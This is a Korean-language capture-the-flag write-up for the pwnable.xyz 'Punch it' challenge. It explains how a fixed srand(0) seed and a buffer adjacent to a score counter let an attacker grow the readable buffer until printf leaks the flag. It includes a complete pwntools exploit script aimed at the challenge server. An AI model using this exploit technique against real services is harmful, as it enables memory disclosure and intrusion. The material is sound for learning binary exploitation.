[pwnable.xyz]Punch it

와 진짜 이 문제 서버로 전송하는 게 너무 많아서 서버가 미국 서부에 있다길래 로스엔젤레스 서버 하나 파서 풀었다.. 확실히 한국에서 돌리면 시간 초과되거나 중간에 서버 죽는데 미국서버 파서 돌리니까 20초면 풀린다..

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  unsigned int input; // [rsp+0h] [rbp-10h]
  unsigned int rand_value; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v7; // [rsp+8h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup();
  motd_select_character();
  do
  {
    while ( 1 )
    {
      while ( 1 )
      {
        printf("score: %ld\n", score);
        printf("gimmi pawa> ");
        input = 0;
        rand_value = rand();
        _isoc99_scanf("%u", &input);
        getchar();
        if ( input != rand_value )
          break;
        puts("draw");
        printf("Save? [N/y]", &input);
        if ( getchar() == 'y' )
        {
          printf("Name: ");
          v3 = strlen(buf);
          read(0, buf, v3);
        }
      }
      if ( input <= rand_value )
        break;
      ++score;
    }
  }
  while ( input >= rand_value );
  printf("Sowwy, pleya %s luse, bay bay", buf);
  return 0;
}

motd_select_character 함수에서 srand() 값 설정할 수 있는데 1~4번까지 메뉴는 urandom값을 가져와서 전역변수에 저장하는데 그 이외 번호 누르면 그냥 srand(0)이 들어간다.

이 문제는 마지막에 입력 값이 랜덤 값보다 작으면 buf 출력해주는데 여기서 buf와 score를 쭉 채워버리면 printf할 때 flag까지 출력되버리게 하면된다.

메인에 잘보면 buf크기만큼 또 buf에 입력받을 수 있다. buf변수와 score 변수가 붙어있으므로 score를 늘려버리면 buf크기도 늘어난다. 이를 이용해서 계속 score를 널 바이트 없을 때까지 채워버리면 된다. 그리고 랜덤값보다 작은 값 입력해버리면 buf출력되면서 score, flag까지 출력된다.

v3 = strlen(buf);
read(0, buf, v3);

그냥 디버깅하면서 값 들어가는 거 보면서 풀었다.

exploit.py

from pwn import *
from ctypes import *

context.log_level = 'debug'
#e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30024)
lib = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)

sla(':','Y')
sa(':','A'*44)
sa('>','9')
lib.srand(0)
score = 0

def f():
	p.recvuntil('score: ')
	score = int(p.recvline().strip())
	log.info('score : {}'.format(score))
	rand = lib.rand()
	log.info('rand : {}'.format(rand))
	sla('>',str(0xffffffff))

def g(name):
	p.recvuntil('score: ')
	score = int(p.recvline().strip())
	log.info('score : {}'.format(score))
	rand = lib.rand()
	log.info('rand : {}'.format(rand))
	sla('>',str(rand))
	sa('Save? [N/y]','y')
	sa(':',name)

def lose():
	p.recvuntil('score: ')
	score = int(p.recvline().strip())
	log.info('score : {}'.format(score))
	rand = lib.rand()
	log.info('rand : {}'.format(rand))
	sla('>',str(0))

if __name__ == '__main__':
	f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*47);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	g('\xff'*48);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*47);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*49);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*47);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*48);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*47);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*50);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*47);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*48);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*47);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*49);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*47);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*48);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*47);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*51);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*47);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*48);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*47);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*49);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*47);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*48);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*47);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*50);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*47);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*48);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*47);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*49);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*47);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*48);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*47);
	f(); f(); g('\xff'*45);
	f(); f(); g('\xff'*46);
	f(); f(); g('\xff'*45);
	f(); f();
	lose();

	p.interactive()